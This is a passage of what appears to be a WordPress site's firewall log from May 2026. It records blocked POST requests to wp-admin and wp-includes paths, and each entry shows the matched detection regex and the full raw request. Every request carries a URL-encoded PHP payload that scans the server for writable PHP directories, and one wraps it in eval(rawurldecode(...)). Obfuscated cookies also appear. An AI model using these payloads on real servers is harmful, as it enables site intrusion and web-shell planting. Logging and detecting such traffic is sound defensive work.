0%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:3811\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nBw=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:59:57","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> RU:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3822\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHyHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nRU=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:00:22","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> in:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3832\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-fetch-user:?1\n\nin=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:00:24","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-length:3865\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept:*\/*\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t